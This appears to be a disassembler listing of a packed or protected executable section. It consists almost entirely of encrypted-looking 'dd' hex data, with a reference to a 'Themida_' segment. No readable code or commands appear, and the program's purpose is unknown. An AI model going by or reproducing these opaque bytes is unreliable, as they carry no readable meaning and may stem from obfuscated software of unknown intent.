		dd 806AF081h, 12E85634h, 5C000000h, 3E5C69F2h, 0EF8B8016h
		dd 0B3E47FDBh, 2FD0B3h,	7E89Bh,	863A0000h, 0D64CB7F0h
		dd 5F59574Ch, 12E8815Bh, 81116A25h, 44022DE8h, 18D0F51h
		dd 0FC000000h, 0DF816650h, 48F45B2h, 0D598B916h, 0EA817C02h
		dd 1FB75AC8h, 0BE8h, 6817D700h,	0B4DB16DBh, 9ED5E272h
		dd 14E8h, 8E277300h, 0F5D4DFC8h, 8F48B78Ch, 0C52CF095h
		dd 0B3303502h, 2A08BB5Fh, 595B4F8Dh, 5AC4C281h,	59511FB7h
		dd 0A6A4FA81h, 850FFFFFh, 0FFFFFF57h, 4860Fh, 0B9660000h
		dd 8D8D5E65h, 7DEB5D8h,	309B52Bh, 858907D3h, 7D303A1h
		dd 29418D89h, 858907D3h, 7D33149h, 2BA185C7h, 6FF007D3h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 8B5A34C3h, 2E674419h, 42DB8166h, 0BD8D8964h
		dd 0C707D324h, 0D3331185h, 7, 519D2900h, 0FF07D31Fh, 0D32CB5B5h
		dd 0A59D8B07h, 0FF07D30Eh, 0D32D3D95h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 4C4F9870h, 0DE9h, 0CD3E3500h, 0CC1014AFh, 4610F6Bh
		dd 6A4E54h, 301995FFh, 0C08B07D3h, 0B4567EEBh, 7A50418Fh
		dd 0A7D9F3C3h, 89D4C335h, 7D15D5E3h, 0CC57E55h,	0F64CD755h
		dd 4128CEBFh, 0A4B94DBBh, 410C9122h, 7D9F1637h,	6BA23167h
		dd 2B92B315h, 50B8DFBCh, 6D589F8Bh, 91A0B7F4h, 0CD24E362h
		dd 0CA6D7E2Dh, 13E9819Fh, 4EEBC7E4h, 0BF724BEDh, 0C21AE6Ah
		dd 0F53FA171h, 0BF08E885h, 0AE789A0h, 0B18D1B5Bh, 75F730B9h
		dd 55EDC8FCh, 88082B2Eh, 0BD9E786Eh, 5BCA4149h,	0E1EA5BDBh
		dd 5E8h, 0A5E1DC00h, 58FCDFE9h,	0C081FB8Bh, 737Eh, 0BD1BD8Bh
		dd 38B907D3h, 812B4161h, 0BEBB7EC1h, 35958BD4h,	0FF07D315h
		dd 0BD295B30h, 7D30229h, 0F0C7F381h, 0BA6675A6h, 0EB819C38h
		dd 1DD5EFC1h, 14FDB52Bh, 0F38107D3h, 290EB569h,	176D9D89h
		dd 188907D3h, 0AB7E881h, 8E95AF2h, 73000000h, 4843484Bh
		dd 8124122Bh, 0F20AB3C0h, 0A195895Ah, 4907D300h, 12850Fh
		dd 8B660000h, 29E9F8h, 36140000h, 26EA8E39h, 11FEAB0Eh
		dd 0F32CF281h, 90E9399Ah, 0CDFFFFFFh, 338DDDA6h, 0BB1FFB34h
		dd 20EC0373h, 4D9DA96Ah, 0E90D05DBh, 4,	0A68C419h, 696E9h
		dd 0EF5CC800h, 0BF347482h, 0F045C492h, 0C3287383h, 0F146C88Eh
		dd 95126980h, 0A7AFA415h, 91650E63h, 0A8AEA314h, 0A611267h
		dd 0DB88C14Fh, 0FEDDC573h, 0AB52330Ch, 0C9E19279h, 0F738FE8Dh
		dd 0E121ED82h, 9213E390h, 0C4CBF9E8h, 8F96C763h, 0F63EE1Dh
		dd 3E4F694Fh, 2D42B7F8h, 0C8296E34h, 0BA3B7DC5h, 5FE027FFh
		dd 80125BD8h, 2E3D551Ah, 0B8D37EF1h, 75A62AAFh,	0CACD520Eh
		dd 5CDDA5E8h, 2B7076DBh, 5CD9ADC6h, 780E63A7h, 92DBBD32h
		dd 0EEE94ECCh, 0DB4E56Bh, 2709CD52h, 237E2764h,	6ACF4CA8h
		dd 3BBCFD09h, 41B13632h, 86D2A395h, 2E693EC1h, 75ED358h
		dd 8EC9D934h
		dd 67C9A476h, 9CECD0ABh, 0C1470D18h, 0D4531B74h, 0DD480E5Fh
		dd 708B1F70h, 54D632A5h, 671AB5E3h, 6B8A3C74h, 6C472759h
		dd 90000000h, 690475B2h, 0A65FE0B5h, 0E9810E7Fh, 0FBCBBECFh
		dd 383437BCh, 0A926D7C7h, 451472E8h, 0D98945ACh, 4489381Dh
		dd 0EB23B469h, 0D5B9403Bh, 0E96h, 0BA36C300h, 6937A181h
		dd 2054A1E8h, 0E04BFF8Eh, 0D62A758h, 0BFD0EA80h, 0ABC43177h
		dd 7CAD43B6h, 0D1CD5292h, 0BFE62C3Fh, 0BB4E414Eh, 4249AEEBh
		dd 0E0288417h, 9718DE93h, 0E0393122h, 0CA94D95Eh, 0EA8E54Eh
		dd 36BBFBCBh, 1F4A2139h, 46C3A3ACh, 52D49AF1h, 216274DDh
		dd 4FCABFD0h, 529288C1h, 303BDDCDh, 4946AFEAh, 2E66613Ch
		dd 719E4D4Ch, 8965h, 5EE0B300h,	4FCA94D9h, 5ADDA9E6h, 7E0F60A5h
		dd 75C1CEECh, 0BCABC435h, 8D527A0Dh, 2F6FCBBCh,	0F33C8A95h
		dd 0A8129320h, 0C27BBBCBh, 0C8C5F344h, 0B9B6277Eh, 205829ACh
		dd 55F31D69h, 1B74C147h, 2F5A3187h, 74B3939Ch, 75FB6EFFh
		dd 0CD524844h, 0CAA1F799h, 9E97C6A8h, 39B74271h, 0CD525300h
		dd 5EA8C355h, 7Fh, 375233ACh, 0BB944625h, 0A60B8CDAh, 661F9FE7h
		dd 0A5BDD223h, 77B47A13h, 6D186D02h, 3BBCFE5Ah,	52336416h
		dd 4FB78FC6h, 82F6E9Dh,	0B9C52043h, 90185E2Dh, 0DF7DAE42h
		dd 40D2CD51h, 0F093155Ah, 21425C0Fh, 0AC0B73ABh, 3F53BA76h
		dd 350D7821h, 56EC81F2h, 1F9A3517h, 1F6EC347h, 0B1215972h
		dd 77E7D399h, 243CD5AEh, 8A0BD7AFh, 68526825h, 0A1AADB71h
		dd 2DFF571Ch, 1145Eh, 0E0F60000h, 0CB93DC59h, 0FDA8E54Ah
		dd 96CF5DD8h, 0EBCD5292h, 84174249h, 0DF94E128h, 9B1DC751h
		dd 9282B339h, 35D7CD52h, 0C4440A63h, 2E8C1E6Fh,	35BF4D8Ch
		dd 645A51C0h, 520AE476h, 0DE53D8AEh, 7DF1AD8Fh,	78D4A391h
		dd 8810EA0h, 7A21B48Dh,	73F53B5Ch, 9F442A5Bh, 0DEAD7FA4h
		dd 0B1A21798h, 8AF32AF8h, 581E6D05h, 8B0D62D7h,	7FB7A84Eh
		dd 2173D8FFh, 5C2AAD21h, 821855DAh, 414EA3E4h, 0B9666229h
		dd 0EB4A34Dh, 2029A26Fh, 5B706241h, 3538B236h, 264BACEDh
		dd 155ADF60h, 2667C849h, 39794990h, 0C8A3B7B8h,	4DCE2A9Dh
		dd 0E468EDECh, 0A49ECBB3h, 0C672608h, 520AAC1Eh, 1FF259Ah
		dd 1A730000h, 0B7146510h, 0E3A9CBE5h, 146E02B5h, 0BC606BDDh
		dd 3D52A3E6h, 9E6A6625h, 463789B3h, 2693B7Fh, 0BCCF7223h
		dd 73B2E05Ch, 8B5AD486h, 4DDA8163h, 320A6163h, 2FF7781Ah
		dd 1EE889EEh, 19A3E89Dh, 16F3BA8Ah, 18821829h, 2846257h
		dd 1798DEADh, 0C6B1CDA2h, 833879D5h, 0C6DCB106h, 2B9B7FF4h
		dd 0A68B6BE5h, 97h, 6C0A1AF4h, 0AEC4C92Eh, 7B3FCD0Ch, 2A04D137h
		dd 92EEC4A9h, 0C0EEFA96h, 0F6A98977h, 0B5BCED83h, 7F115952h
		dd 0ED8214ECh, 3A6B0174h, 8F5952B6h, 4CF26EFDh,	8457C129h
		dd 71FC7DBEh, 0D79275F3h, 1B547041h, 58098788h,	939C2FDAh
		dd 88518A06h, 33A6E963h, 63886C9Dh, 0C9EFC1E9h,	0D06EB6C2h
		dd 4F88044Ah, 0A4E96388h, 0C712A812h, 0BC6F049h, 8796A1D5h
		dd 0F063A8B2h, 4E1F9012h, 0AC33313Ch, 0D630988Ah, 19CCD63h
		dd 1FF10073h, 42D4EC4Ch, 0FF5711h, 1A1D0000h, 911F9A10h
		dd 0CFC83F9Ah, 298A0ED4h, 413F4E64h, 0C1C6D952h, 18D18B17h
		dd 990CBEEDh, 0A2EB4CC9h, 1968A12Fh, 0DBBD9DCDh, 66E3A6BDh
		dd 0C979A55Ah, 0C7C86AC2h, 7774F3D2h, 0E3E94B09h, 0E66A5380h
		dd 3C4F0323h, 0F44B5F6h, 1C71C647h, 0D352B19Ch,	128FD2B4h
		dd 59CC3CA9h, 0E6A70889h, 892C5DF3h, 0AF810CA8h, 9C068209h
		dd 5FDEC6B4h, 36920510h, 41CF84F5h, 36672CD7h, 0E7F54B92h
		dd 0A08A06D1h, 4F5F6CB8h, 12552A3Bh, 9E139373h,	0B5B16DCFh
		dd 0DDCC9B30h, 0ADA3D458h, 35F8AB76h, 76AD7EB7h, 5741D3ABh
		dd 8CF9F10Ch, 0F67545BDh, 434CEE46h, 8101BAFBh,	9E165F30h
		dd 1C921F7Fh, 531C7E1Ch, 68258A0Bh, 521B9C1Eh, 0D32A8F0Ch
		dd 0F6ADD5C6h, 0C0E30ABh, 0BD8D2396h, 7527F2C3h, 0BA3B6C00h
		dd 77F526F1h, 26F1BA3Eh, 0BF510193h, 0FE81B0ACh, 2BEC686h
		dd 0DA6FCA51h, 6FE4B68Eh, 9A101A7Bh, 0E5169A1Fh, 4BCD5292h
		dd 0B622F01Bh, 42183CBFh, 8A206DC6h, 25115530h,	680D86ECh
		dd 0C41CB025h, 63FF484Ah, 0E1DAA22Ch, 0A8D0B571h, 0B58DBF60h
		dd 8D0ED4E3h, 3C4F632Ch, 81F637FFh, 348506D0h, 7EFC5D5Bh
		dd 9FADB0ABh, 9A261E60h, 0FF46E61Eh, 0DE5B21BBh, 4491459h
		dd 5A88F545h, 199E2066h, 2B8C0A54h, 82AA1D78h, 9FFB8C3Dh
		dd 0AEB8991Eh, 0E830C6Dh, 99856437h, 119F1EF2h,	0ABFB3ED8h
		dd 5E2D8B2Dh, 0B13F8D18h, 0ABFB3E78h, 0C0CDEBCDh, 5F210095h
		dd 991E9BF3h, 9F8753CAh, 0CA26A1CCh, 0CE8BE849h, 2D40ADF8h
		dd 3A53A4E5h, 0C06h, 0DBB29300h, 6EFB2249h, 3142F477h
		dd 0D744E069h, 0EA4FD096h, 0DB5CD9A5h, 0E94ECC92h, 0D758DAA4h
		dd 0E94ED096h, 0DA43DAA4h, 0E54EC995h, 0D95ADEA8h, 89510D94h
		dd 4C181E1h, 52000000h,	4BAh, 5AD12900h, 5C240C87h, 2E3368h
		dd 24148900h, 5E08950h,	4, 8704E883h, 895C2404h, 50562434h
		dd 0EB029CB8h, 69E52D06h, 0D0F7211Ah, 0F1D05035h, 58C6891Dh
		dd 685EF289h, 0F5Ah, 83242489h,	5E042404h, 4EC81h, 14890000h
		dd 8468F24h, 5224348Bh,	0C281E289h, 4, 8704C283h, 0FF5C2414h
		dd 815A2434h, 4C4h, 6D82E900h, 0B891FFF9h, 7DEBD29h, 0E0FFC503h
		dd 1AA01C79h, 532E1115h, 3F433169h, 5040499Dh, 6BB87D8Dh
		dd 46A7B373h, 69799F2Dh, 625674D4h, 0EFFF6C3h, 27FE07A5h
		dd 2C2F6B63h, 3AA0E163h, 26758301h, 412227BBh, 4DF2870Dh
		dd 4AFE6020h, 7A691C85h, 3134BD15h, 2C3FB5EDh, 685FC020h
		dd 42513CA5h, 3282EAE2h, 78FDE17Eh, 0A56C734h, 36791144h
		dd 12AC9510h, 2888B5DCh, 35E9h,	0B15CD800h, 5D00005Fh
		dd 2, 0Ah dup(0)
		dd 5AE90000h, 68000011h, 7DEC07Ah, 0FB0049E9h, 0C1C468FFh
		dd 3FE907DEh, 68FFFB00h, 7DEC444h, 0FB0035E9h, 0C55068FFh
		dd 2BE907DEh, 68FFFB00h, 7DEC700h, 0FB0021E9h, 0C98768FFh
		dd 17E907DEh, 68FFFB00h, 7DECAABh, 0FB000DE9h, 0CC8068FFh
		dd 3E907DEh, 68FFFB00h,	7DECE12h, 0FAFFF9E9h, 0FA345FFh
		dd 0AA32F89Dh, 89A4D52h, 0AF3FEFB4h, 993583Dh, 6FD714B3h
		dd 0D5BA32BCh, 652A8210h, 0E1C636BCh, 0C32D7F0Bh, 95BAC0EFh
		dd 352E36B7h, 0F12B0159h, 0DF122209h, 82075CB3h, 333B7A42h
		dd 0A73E95D6h, 16D6D1FAh, 0CE7C328Ah, 70487004h, 95D63941h
		dd 898563Eh, 0DFDEEDB6h, 91D5E8BFh, 3A33BAA2h, 0BCAD4C30h
		dd 0BFAFFA07h, 28B8761Fh, 2455FEA1h, 53614995h,	1338C411h
		dd 0EB924F81h, 4EE25061h, 7F6860F3h, 0A97C2199h, 2C1C621Bh
		dd 8390B413h, 875686F8h, 6C849893h, 0BA000000h,	0EC985A10h
		dd 921CCFD4h, 0AE0FBCE7h, 5203DC18h, 0C951E3ABh, 9F241744h
		dd 0E3C656Eh, 30BA7136h, 27A66889h, 920E43B1h, 5744BAC1h
		dd 5C258B32h, 18D4DBAFh, 0B8290419h, 0AAAB2D05h, 23C9BEE6h
		dd 6DB5F297h, 0EDDFD4E5h, 0E4BCFDFAh
		db 0BFh, 70h
word_685652	dw 0DBDEh		; DATA XREF: Themida_:00647E34o
		dd 0BE29C3C8h, 64A0455Ah, 0D9EEFD17h, 0EE9DC66Dh, 64DE3C90h
		dd 0F56A72h, 1D40000h, 8D1A9F2Bh, 0E6BDCC56h, 980FBA46h
		dd 8C18CC54h, 485DE5D7h, 3B6415A7h, 0F9582D90h,	8F654EFFh
		dd 9CA768C0h, 7901B008h, 0EDB4F099h, 0F0269724h, 1E1E4649h
		dd 0C537C369h, 12A10CE0h, 4B9AE86Ch, 546033E0h,	0E8254D6Ch
		dd 0F0994B9Ah, 2B8FECBh, 0A41CA4D0h, 9AE86D15h,	9338E14Bh
		dd 0E5491B2Ah, 7CE3A0AAh, 0E40B6806h, 42E2DC31h, 47F3FB6h
		dd 680FC9F2h, 94D95D35h, 0C54F9409h, 1EE0EBB4h,	4EDC1196h
		dd 0F4C8D12Dh, 3A4A883Eh, 15DEEE7Bh, 82C72BA2h,	80336370h
		dd 0CF26C278h, 0DF957EF0h, 0DDF69BAh, 0D959E308h, 0DF4F3F7Ch
		dd 92E6B6C9h, 8700000Eh, 32D7D569h, 8F9468F0h, 39DECE60h
		dd 828765F5h, 66E5D761h, 0E06AC185h, 58E6070Ch,	0E46ABF64h
		dd 55E10308h, 96250D57h, 36B792F0h, 1B78764h, 474CA02Ah
		dd 13E46BA5h, 2ADAAB75h, 10B58379h, 0CDEC985Ah,	6617BD57h
		dd 28B4782Dh, 0EA901FA1h, 5E1714E9h, 0E0DDDEB5h, 54915977h
		dd 9BCD0FAEh, 52F2F6C6h, 8209994Dh, 0DAEA8F7Ch,	0D5E4B413h
		dd 8635169Dh, 0BC6B1300h, 0CFFCA774h, 0E5D4A5EEh, 2F00A5FFh
		dd 64CFEE9Dh, 38B81689h, 4C4241A8h, 69630BAAh, 0CAD739C9h
		dd 4E545BEBh, 0E346902Dh, 9A7F3E1Dh, 2D1DB532h,	5B19F525h
		dd 0E1h, 9F2B0163h, 0CC568D1Ah,	3E6FFCBDh, 0F2B0E5B4h
		dd 93013C62h, 0D662BCAAh, 9557405Eh, 7267B09h, 7A531B9Ah
		dd 0DAC7FC92h, 1C9F0089h, 7EE93BE0h, 927A373Fh,	0B5DEABFCh
		dd 72F8B7FFh, 0E6FC927Ah, 2BBD6A3Dh, 0DD8929A0h, 5A505F15h
		dd 2D8F47C2h, 0E72F7084h, 6ADC554h, 0E6BEFF3Bh,	0FDD2240Fh
		dd 0F497B448h, 0F5AB010Ah, 0BEE39141h, 0CAD5E46Ch, 2EB403C1h
		dd 0A192D1BEh, 76569684h, 498213A2h, 3CA2D1FFh,	0AB80254Fh
		dd 25C6CB21h, 15B4979Bh, 0FE815CECh, 0D489Eh, 57EB3D00h
		dd 0E26AC065h, 50E2050Ah, 0E777B75Ch, 51DB1015h, 370FDC5Bh
		dd 8D926AF4h, 2DF2CA58h, 997E6EF4h, 8BF5C753h, 9272F8B7h
		dd 0DE636B7h, 0A02A0131h, 19A5474Ch, 14A31BA3h,	3E96536Eh
		dd 5BE73DE2h, 9D1E752Eh, 0A32B0121h, 169EF581h,	53670FAEh
		dd 2EDB3E96h, 0C5673C8Dh, 53135B5Ah, 9A873E96h,	893DF3C9h
		dd 767C3B49h, 0A93E0394h, 91CFD0E8h, 0A5CDECD4h, 19EC8252h
		dd 0EE8D4B70h, 478EFBE4h, 34454EA0h, 0BB31BD6Fh, 0FF8A16D6h
		dd 0C13D93BEh, 0F0AD1072h, 0E675C6ADh, 0DD27D013h, 9828C67Bh
		dd 0E771B2F1h, 0AD3A9AE2h, 40A73D4Ah, 0DFDD69BBh, 5B5EEA3Ah
		dd 84F68269h, 6366EC35h, 3B426558h, 222B29A9h, 55997E3Dh
		dd 6AA33568h, 8D1D43A6h, 7F0BE11Ah, 38C4682Dh, 9EB82F91h
		dd 81E9C849h, 0F5311D48h, 467DC92Ch, 0A8DEDFECh, 0BB271688h
		dd 0A5BC6E15h, 0EA3D6242h, 0CFFA8A5Ch, 0ADFA7FD4h, 0C5DEEB77h
		dd 31D0ED8Eh, 973128D1h, 5FB92E9Eh, 2D5CEC3Ah, 49817EC4h
		dd 5D0684DFh, 2BB3792Eh, 5C2291F6h, 0D06FEAE9h,	0B6E990C3h
		dd 0DA0A0FEDh, 53049452h, 2A4F0492h, 6014DE8Ch,	29516058h
		dd 9D6FEAE9h, 4BF6C7F4h, 8A8B4DEh, 5F28391Eh, 0F6376CF4h
		dd 565A6368h, 20180940h, 0BBC3F2BAh, 2F062A1Dh,	0F3BB3162h
		dd 7EC1A7FCh, 0E5E69ED9h, 17AD65D1h, 91B1DB98h,	9E3FFC04h
		dd 0FF9E358Bh, 0E1D6408h, 7AFF0C5Ah, 7EB06443h,	45744C80h
		dd 0CB2AFA3Dh, 0B0FE8A5Ah, 8CE5D8E3h, 0FC4288D6h, 191D4A5Dh
		dd 618B2EB7h, 79388C46h, 179FD501h, 8116D298h, 2E5D46F0h
		dd 7575Dh, 1D176100h, 0FB6C70C8h, 0DE8EF4C3h, 190210BBh
		dd 8B544B72h, 41E3548Ah, 0A0408AAAh, 0ECBD6911h, 0B134DDCCh
		dd 830891C1h, 14DB33Ah,	437B033Bh, 0D79A0E74h, 169485Eh
		dd 755ED79Ah, 4B6A52ACh, 5ED79A23h, 0B2D98A97h,	0EF81970Bh
		dd 6B906290h, 0BDE24F70h, 578ADD65h, 0D4F7A8D1h, 38C97504h
		dd 5B421976h, 0C6AF1FDCh, 7199357Dh, 6974034Ch,	0ED6298F4h
		dd 2FA0E6D5h, 0B14BF05h, 77044FD7h, 0E3CB487h, 0FB9369C0h
		dd 4F18B810h, 0B3F18C5Ch, 0AC1A1460h, 0FA5F5E66h, 67F81E31h
		dd 0A149E0CAh, 0DAC41BC2h, 871C84F6h, 0F4AFDA64h, 0C7F284A3h
		dd 32CCAFDCh, 0F580969h, 22A5CB2Ah, 0AC87Ah, 0D76BBD00h
		dd 62EA40E5h, 0D062858Ah, 67F737DCh, 0D15B9095h, 0B78F5CDBh
		dd 0D12EA74h, 0AD724AD8h, 19FEEE74h, 0B7547D3h,	8EF27837h
		dd 8D6636B7h, 9F2B01B1h, 2FF5AA1Ah, 289E18A3h, 7E09F53Ch
		dd 69920B0h, 5EEAA3AFh,	0C7307F35h, 0ACD414h, 0F4BD6B8Bh
		dd 689620B7h, 6F0FF9F7h, 5A1F4AA2h, 0B6A79D49h,	875ACF34h
		dd 7E630BAAh, 0CAD75DE9h, 0FBBACA99h, 4F28698Ah, 0E053288Fh
		dd 2065F4E7h, 0B634F04h, 0C4F9A673h, 0B1895773h, 0F685BD3Ch
		dd 0BC04A05Bh, 614E75FDh, 0C850923Fh, 1F9E2DF6h, 0AF1E5D64h
		dd 0C072E8BEh, 0BD9605B4h, 8097EAC6h, 4F1F909Dh, 7284096Eh
		dd 0BD66F8C1h, 230A60Ch, 0D65B4372h, 184E5000h,	29BA7EB1h
		dd 7BE6069Bh, 4CB3363Ch, 0B2E1AAEBh, 947AF733h,	7B45A7Fh
		dd 8EF265B6h, 663389FCh, 17A3495Eh, 0C49E556Dh,	0FF5A93AEh
		dd 0AAD69CD1h, 414ADA0Ah, 7DDC23Ah, 0EEB8F77Bh,	0FA8D41D1h
		dd 9BCA2h, 0EB7FB100h, 4ED60C11h, 0E476B95Eh, 53E30308h
		dd 0E56FB459h, 83C32807h, 41E6D660h, 898E5EECh,	3DE2DA60h
		dd 17615BE7h, 8DE68C2Bh, 815A36B7h, 985A10ADh, 9DE5D4ECh
		dd 113E9653h, 72418308h, 0ADE3F35Dh, 88EECDF5h,	0FCCF48B2h
		dd 59516C0Fh, 33E0D27Ch, 0EF35BF6Eh, 16893063h,	0C6DB6375h
		dd 0BC4EA123h, 0B8C1920Dh, 0E26AC0E7h, 9302E4D9h, 7D7413AFh
		dd 0B93203E1h, 0CB0DAEF8h, 90F6C56Dh, 467CDA8h,	693ACC1Bh
		dd 0D4188F3Ah, 8BBFEC9Ah, 83D0AC15h, 0CBF3D1F6h, 0CDD586ECh
		dd 0E132F167h, 9A902F0Bh, 98547724h, 0D54FFB0Fh, 6CBEDE7Bh
		dd 618C01E4h, 4D6C184Bh, 0A3C97716h, 919DE867h,	86DBCA91h
		dd 142C29E4h, 7443B962h, 5C17C364h, 0EC76ADF2h,	9B25C6DDh
		dd 50FAC3C8h, 0C8E9461h, 0FA838719h, 63380C5Fh,	1A8534C2h
		dd 0CB234B6Ah, 8A971251h, 0FA91BC01h, 940E7DF4h, 76D75B8Eh
		dd 0E5F25C7Fh, 10BB3874h, 0B693D26Bh, 0E8FFD111h, 0A3972544h
		dd 83ACC0EFh, 6ECB73FFh, 0A2429625h, 459D29FDh,	0C0930CBDh
		dd 874FFBBBh, 0F1B2D767h, 5A312A2h, 0E4837C76h,	0E4A11186h
		dd 40777504h, 0EA94B1BBh, 885C9321h, 9F1F6BFCh,	0F1C8018Ah
		dd 52BD44C2h, 41D1158Ah, 59646738h, 808D1FA6h, 0B5AD44F0h
		dd 581E9D4Dh, 0CC1471D0h, 8F8EE6BFh, 8457803h, 0C04E9DCCh
		dd 1DA97B20h, 0E7F44F6Eh, 2C940864h, 2597E58Dh,	6EB459ACh
		dd 93C0E3E6h, 9ABAD5E8h, 4FEEEB6Eh, 7E05F062h, 945247DDh
		dd 0FC307704h, 50BDF270h, 477AC7B9h, 80C55h, 9B2F0100h
		dd 1EA67C21h, 9426C9CEh, 23B37318h, 951FC4C9h, 0F3539817h
		dd 5156A630h, 0F99E0E9Ch, 4D52AA30h, 47B10B97h,	8C363C7Bh
		dd 0B1AA36B7h, 9C5A10DDh, 0E50CBD47h, 31FC506Bh, 0AEE5AEC3h
		dd 0B417B706h, 8EBA9385h, 4E5B435Bh, 5D0A155Fh,	36DF8DB9h
		dd 93366DF3h, 6844D014h, 0CEED06B2h, 36B784A8h,	95246F1Ch
		dd 4473DE0Eh, 36B7843Eh, 17BC46A9h, 0FBF3DD3Ch,	0A267450Eh
		dd 0D4D3F682h, 71F58410h, 0D70DEEF9h, 4F83714Bh, 0B61B3837h
		dd 7A1BE3Fh, 0CDEEBCC3h, 235BEh, 5A100000h, 8DCDEC98h
		dd 0F0B6007Ch, 5B5E0A7h
		dd 0A632F2A7h, 0CC4AD925h, 0F0DA81B3h, 0D5E4957Eh, 689585DFh
		dd 299FB0AEh, 2B8F2E29h, 94EE51BCh, 39D1D656h, 802F458Dh
		dd 0C7A2A60Ch, 2434361Bh, 6951E406h, 0DAD2EF96h, 0C8FEA34Ah
		dd 585DED41h, 21C8C8C7h, 0DEB5EE9Bh, 847821DDh,	0B8C14D9Fh
		dd 17AD39EBh, 600799D0h, 0CFA6C867h, 4F2096FAh,	0DF1D9EF5h
		dd 13A54257h, 7B984E68h, 31D2363Ch, 0B2E1AA9Bh,	73FBBA02h
		dd 0DE9B31D2h, 3C69E78Ah, 613EB5Fh, 58703F85h, 0EF0DB949h
		dd 4548F21Eh, 7FD99F3Eh, 38C65E45h, 85F5E6Bh, 59ED5119h
		dd 9A5DA750h, 6646DAC3h, 0E6D399CDh, 7F37E106h,	0A71E4A30h
		dd 0A6D5BE4Ah, 277984D8h, 78B22Fh, 1E0C0000h, 0B0D96189h
		dd 21A82EF3h, 10A6D57Eh, 0D4EC985Ah, 0C7901ECFh, 0CAF39826h
		dd 0D11A5276h, 9B04F005h, 0F1B67E2Ah, 9E1FAC3Eh, 44692D44h
		dd 0A12901A6h, 77048718h, 60F03EE7h, 0C61C8133h, 2D8C3D3Eh
		dd 98A96BE6h, 0C710ACD7h, 74B7ECE3h, 0B7C4DFEAh, 0F4647447h
		dd 632C7472h, 218633C3h, 2E3841C9h, 9BCE29BEh, 3D62B631h
		dd 215D5EE4h, 0FB2A7231h, 0E45Fh, 0A61E5F00h, 96536F17h
		dd 0CE568C3Eh, 1D06F8ABh, 67F3396Eh, 149E4562h,	62EE3E65h
		dd 109C5057h, 5EF03F64h, 244A695Bh, 983E9653h, 49B3D88Bh
		dd 24F48A61h, 1127DA43h, 15297294h, 73182419h, 0FBA7D74Ah
		dd 0AB7BA4F4h, 6B5004Eh, 3E956611h, 21B37429h, 0F7840798h
		dd 5C50DC10h, 0EE11DD4h, 0D49B0772h, 975B0FA7h,	390CCEEDh
		dd 0E77DA82h, 164041Bh,	0CEDD471Ch, 2CFA9FE8h, 0A972199Ch
		dd 53F5940Bh, 414AB028h, 33BD6E33h, 39CB1C81h, 8635BB6Eh
		dd 0F07AB176h, 7C642372h, 0BFD9F068h, 585h, 0A21AAE7Ah
		dd 1F9D25FDh, 0A11BAD7Ah, 229A2AFCh, 0A01CA67Dh, 0A97ACC21h
		dd 25C8CD1Fh, 0A9802597h, 20C4C923h, 0E6CE1894h, 0B78AAFD7h
		dd 78462336h, 4CA02A01h, 5EF03F64h, 129A4A5Dh, 9F1D46D2h
		dd 9F2B0111h, 0CB578D1Ah, 0B21743F1h, 5F5C98E3h, 7A27C130h
		dd 0B37E4EEFh, 79200E90h, 0DC89B0CFh, 7A7E754Dh, 21C6998Bh
		dd 0D0422845h, 0EDB62253h, 0F5C72208h, 0C8F377FCh, 870410F5h
		dd 5AAF7E4Ch, 6E70D226h, 6366F439h, 4BD31740h, 0A856653Eh
		dd 6D15A41Ch, 0E17F6E89h, 0B7239338h, 9BA2497Bh, 0ABE3E23Bh
		dd 9221A328h, 9F79E5C9h, 288D5449h, 63C5E189h, 174C555Fh
		dd 66EC3572h, 452F8E3Dh, 8362CAA7h, 0DBF2186Ch,	7A013A8Ah
		dd 1C9B2301h, 5BFCFF56h, 3BAC1CAh, 80B05346h, 96583DA1h
		dd 862C5D06h, 239222D0h, 0B62BACBh, 4EA3CE25h, 0F0F57FA4h
		dd 10BBC43Ah, 4FECBFADh, 0D56C3F68h, 718CACAAh,	0B551667Ah
		dd 0BBC03571h, 1A707743h, 0E2302DB3h, 6932CCEFh, 45F3B009h
		dd 524A7D2Ah, 461h, 0B6069A56h,	3BB139F1h, 0B5079956h
		dd 3EAE3EF0h, 0B4089259h, 0BD6ED815h, 11D4B933h, 0BD642983h
		dd 0CE0C537h, 0F2C22C80h, 0B789BBC3h, 5C322F36h, 1A9F2B01h
		dd 0B9CB578Dh, 7B242E4h, 170DEF9Ch, 76456FA3h, 326CECB4h
		dd 0A22801A6h, 0DFC1A419h, 0B2495CDFh, 5EBC34B8h, 0D0F9A254h
		dd 0F2004AE9h, 0ED04EB90h, 4AF3F2CCh, 5630F368h, 29B1792Eh
		dd 55E103A0h, 3DAA4224h, 0DADF71BEh, 0EDDF9AC9h, 2F84D8FAh
		dd 0D3EBF905h, 84CC9EE4h, 7B091214h, 84CC363Ch,	0DAE1AA14h
		dd 70B1h, 891E0D00h, 5E8ED961h,	0CFFCA7D2h, 24C373E7h
		dd 4B3C192h, 9BC1012Dh,	5125AA02h, 8E653F3Eh, 0AC7B294Ah
		dd 0B1346F1Ah, 3EEE686Bh, 0C79C07B2h, 3829F9C4h, 0CBF38AA2h
		dd 6A2286ECh, 4611FA7Eh, 97219A7h, 88EECD75h, 0FC7E6A22h
		dd 1AA2480Fh, 0BC794049h, 5973AFC8h, 0FA100986h, 21991D10h
		dd 0B45F7E6Ah, 0B3F9314h, 3996880Eh, 118h, 60891E85h, 36F6B1DAh
		dd 5386ECCBh, 0F1C03E96h, 3E965389h, 0F19A14FDh, 0D0F987A6h
		dd 0AEF584CFh, 0E1C6F37Dh, 0ADFA7F0Bh, 0B23CEF77h, 0F5C79C07h
		dd 86C9CC46h, 2C0AE76Fh, 396E1123h, 445F6AF0h, 0F4FBC737h
		dd 94D12636h, 2598237Ah, 3E96E08Bh, 65EF3469h, 0C2622556h
		dd 0C6FEC636h, 0BB5E8FF7h, 751603D5h, 6366F232h, 5CE83C61h
		dd 1035C759h, 13B82173h, 0C9FB37A3h, 621751EAh,	7AACF17Eh
		dd 93DBDAEAh, 72D14B1h,	314C711Ah, 697492A2h, 0EC78A1D2h
		dd 0EEB7053Eh, 9D06B33Dh, 8A40F6C6h, 2A7D3C48h,	0F3DB57BEh
		dd 75C4DA5Dh, 0DE937E2Dh, 4DAB8465h, 0B86B3044h, 12D9BE2Eh
		dd 0E567AA88h, 2D549C86h, 28C6Bh, 1BAF8100h, 9E26FCA1h
		dd 14A6494Eh, 0A333F398h, 159F4449h, 73D31897h,	0D1D626B0h
